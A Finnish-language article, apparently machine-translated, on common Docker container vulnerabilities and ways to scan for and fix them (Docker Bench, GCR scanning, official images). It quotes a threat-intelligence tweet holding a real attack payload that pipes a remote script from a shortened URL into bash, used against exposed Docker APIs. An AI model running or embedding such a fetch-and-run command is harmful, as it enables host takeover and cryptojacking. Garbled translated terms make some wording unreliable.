Kuinka löytää ja korjata Docker-konttihaavoittuvuudet vuonna 2020

Konttien avulla suunnittelutiimit voivat luoda hiekkalaatikkoympäristön sovellusten ajamiseksi ja testaamiseksi. Säiliöt koostuvat enimmäkseen avoimen lähdekoodin kuvista, jotka on vedetty telakointikeskuksesta tai muista julkisista kuvavarastoista.

Mutta nämä avoimen lähdekoodin kuvat voivat joskus sisältää haavoittuvuuksia, jotka voivat vaarantaa konttien turvallisuuden ja puolestaan ​​sen isäntäkoneen / palvelimen.

Koska nämä kontit toimivat isäntäkoneella, on mahdollista kaapata tuotannossa olevat kontit, jos ne jätetään suojaamattomiksi.

Hyvä esimerkki tällaisesta hakkeroinnista on Teslan kryptojacking-hyökkäys suojaamattomaan Kubernetes-klusteriin. Tässä hyökkäyksessä hyökkääjät pystyivät lataamaan ja suorittamaan haitallisen komentosarjan salauksen louhimiselle käyttämällä Teslan K8s (Kubernetes) -klusterin tarjoamia GPU: ita. He pystyivät pitämään tämän hyökkäyksen tutkan alla pitämällä suorittimen käytön minimissä ja suorittamalla komentosarjan tietyin aikavälein.

Tämän artikkelin aikana tarkastelemme yleisiä konttihaavoittuvuuksia ja mahdollisia tapoja korjata ne.

Yleiset konttihaavoittuvuudet ja niiden korjaaminen

Op-insinöörit käyttävät kontteja pakkaamaan ja asentamaan ohjelmiston / sovelluksen suljetussa ja valvotussa ympäristössä.

Jotta vältettäisiin pyörän keksiminen uudelleen ja nopeutettaisiin markkinointiaikaa, jo olemassa olevat avoimen lähdekoodin kuvat vedetään sisään tyydyttämään ohjelmiston suorittamiseen tarvittavat riippuvuudet. Nämä kuvat sisältävät usein tiettyjä haavoittuvuuksia, jotka tekevät koko säilön ja sen isännän alttiiksi haitallisille hyökkäyksille.

Alla on lueteltu joitain yleisiä konttihaavoittuvuuksia ja vastuita sekä niiden lieventämistä.

Salaus

Cryptojacking on eräänlainen hyökkäys, jossa haitallista komentosarjaa käytetään varastamaan laitteen laskennalliset resurssit kryptovaluuttojen louhintaan.

Äskettäin Dockerista löydettiin haavoittuvuus sanakirjamerkinnällä CVE-2018-15664. Tämä haavoittuvuus antaa hyökkääjille mahdollisuuden saada pääkäyttö koneen koneelle.

Sen lisäksi, että hyökkääjät voivat käyttää isännän koneen CPU- ja GPU-resursseja salauksen purkamiseen, hyökkääjät voivat myös varastaa arkaluonteisia tunnistetietoja, suorittaa DoS-hyökkäyksiä, käynnistää tietojenkalastelu kampanjoita ja paljon muuta.

Säiliöt voivat olla alttiita salauksen torjunnalle, jos ne sisältävät haitallisia kuvia, jotka antavat hyökkääjille pääsyn koko konttiin. Ne ovat myös haavoittuvia, jos telakointikontti-sovellusliittymän päätepisteet ovat julkisesti saatavilla Internetissä ilman salasanoja tai suojauspaloja, kuten Teslan tapauksessa.

Opportunistinen massaskannaustoiminta havaittiin kohdistettuna altistuneisiin Docker API -päätepisteisiin.

Nämä tarkistukset luovat säilön Alpine Linux -kuvan avulla ja suorittavat hyötykuorman:

"Komento": "chroot / mnt / bin / sh -c 'curl -sL4 //t.co/q047bRPUyj | bash;'", # threatintel pic.twitter.com/vxszV5SF1o

- Bad Packets Report (@bad_packets) 25. marraskuuta 2019

Haitalliset avoimen lähdekoodin kuvat

Haavoittuvuus, joka mahdollistaa isännän runc-binaarin korvaamisen, antaa hyökkääjille liikkumavaraa suorittaa komentoja pääkäyttäjillä. Ennen versiota 18.09.2 tehdyt telakointimoottorit tekevät hyökkääjän hallitsemilla kuvilla varustetuista säiliöistä herkkiä CVE-2019-5736-haavoittuvuudelle.

Insinöörejä kehotetaan käyttämään mahdollisimman paljon dockerin toimittamia virallisia Docker-kuvia. Loppujen lopuksi siellä on jopa Docker-sponsoroitu tiimi, joka tekee tiivistä yhteistyötä ohjelmistojen ylläpitäjien / julkaisijoiden ja turvallisuusasiantuntijoiden kanssa varmistaakseen virallisten Docker-kuvien turvallisuuden.

Staattiset Docker-tiedostot

Yksi konttien periaatteista on, että kuva on muuttumaton. Tämä tarkoittaa sitä, että kun kuva rakennetaan, sen sisältöä ei voida muuttaa. Tämä itsessään aiheuttaa haavoittuvuuksia, jotka johtuvat kuvaan sisältyvistä vanhentuneista paketeista / kirjastoista / kuvista.

Siksi on hyvä sisällyttää haavoittuvuusskannerit CI / CD-prosesseihin haavoittuvien säiliökuvien tunnistamiseksi. Koska kuvat ovat muuttumattomia, äskettäin rakennetun säilön päivittäminen päivitetyillä riippuvuuksilla auttaa hillitsemään tietoturva-aukkoja, kun konttien korjaamista ei suositella.

Kuinka löytää konttihaavoittuvuudet

Edellisessä osassa tarkastelimme mahdollisia tapoja, joilla haavoittuvuudet voivat hiipiä telakointiasemiin.

Haavoittuvuuksien löytäminen säiliöistämme ennen tuotannon aloittamista auttaa välttämään mahdolliset tietoturvaloukkaukset ja pitämään haitalliset hyökkääjät poissa.

Kuten sanotaan - unssi ennaltaehkäisystä on kilon parannuksen arvoinen.

Tässä osiossa tarkastellaan mahdollisia tapoja pysyä säiliöhaavoittuvuuksien edessä.

Docker Benchin käyttäminen turvallisuuteen

Docker penkki tietoturvaan on komentosarja, joka testaa kaikki isäntätietokoneen / palvelimen telakointiasemat parhaiden käytäntöjen mukaan pakkausten käyttöönotossa tuotannossa. Nämä testit perustuvat CIS-telakointiaseman vertailuarvoon.

Koeajoa varten voit vetää docker/docker-bench-securitykuvan ja testata paikallisen koneesi olemassa olevia säilöjä seuraavasti:

docker run -it --net host --pid host --userns host --cap-add audit_control \ -e DOCKER_CONTENT_TRUST=$DOCKER_CONTENT_TRUST \ -v /etc:/etc:ro \ -v /usr/bin/docker-containerd:/usr/bin/docker-containerd:ro \ -v /usr/bin/docker-runc:/usr/bin/docker-runc:ro \ -v /usr/lib/systemd:/usr/lib/systemd:ro \ -v /var/lib:/var/lib:ro \ -v /var/run/docker.sock:/var/run/docker.sock:ro \ --label docker_bench_security \ docker/docker-bench-security

Huomaa : tämä komento ei toimi hyvin OSX: ssä. Katso lisätietoja tästä GitHub-numerosta.

Etsitään haavoittuvuuksia GCR: ssä

Docker-kuvavarastot (esimerkiksi GCR) tekevät insinööreille mahdollisuuden suorittaa haavoittuvuustarkistuksia konttien rekisterissä oleville kuville.

Ota haavoittuvuuksien skannaus käyttöön GCR: ssä (Google-säilörekisteri) siirtymällä Google-pilvikonsolin säilörekisteriasetuksiin ja napsauttamalla "Ota haavoittuvuuksien tarkistus käyttöön":

Kun haavoittuvuuksien tarkistus on valmis, näet alla olevan kuvan kaltaisen tuloksen, jos haavoittuvuuksia on:

Enterprise-luokan ratkaisujen käyttäminen

On olemassa yritysluokan suojarakennuksia, jotka hallitsevat haavoittuvuuksia ja toteuttavat käyttöönottokäytäntöjä koko kontin elinkaaren ajan.

Lisäksi tämä tuotepaketti integroituu saumattomasti suosittuihin CI / CD-työkaluihin ja konttirekistereihin. Tämän avulla se voi tarjota riskitöntä käyttöönottoa sekä päätelaitteiden hallintaa käyttöönotosta tuotantoon.

Johtopäätös

Kontit mahdollistavat suunnittelutiimien ohjelmiston saumattoman käyttöönoton. Tämä helppous tulee kuitenkin maksamaan turvallisuuden kustannuksella.

Telakointisäiliöissä on viime vuosina kirjattu pari CVE: tä (yleisiä haavoittuvuusaltistuksia). Jotkut niistä on ratkaistu viimeisimmissä telakointimoottoripäivityksissä, loput luvattuina tulevissa korjaustiedostoissa.

Suunnitteluryhmien tulisi pitää turvallisuutta mielessä, kun rakennetaan ja otetaan käyttöön kontteja. Heidän on myös pantava täytäntöön konttien tietoturvakäytännöt DevOps-elinkaarensa aikana.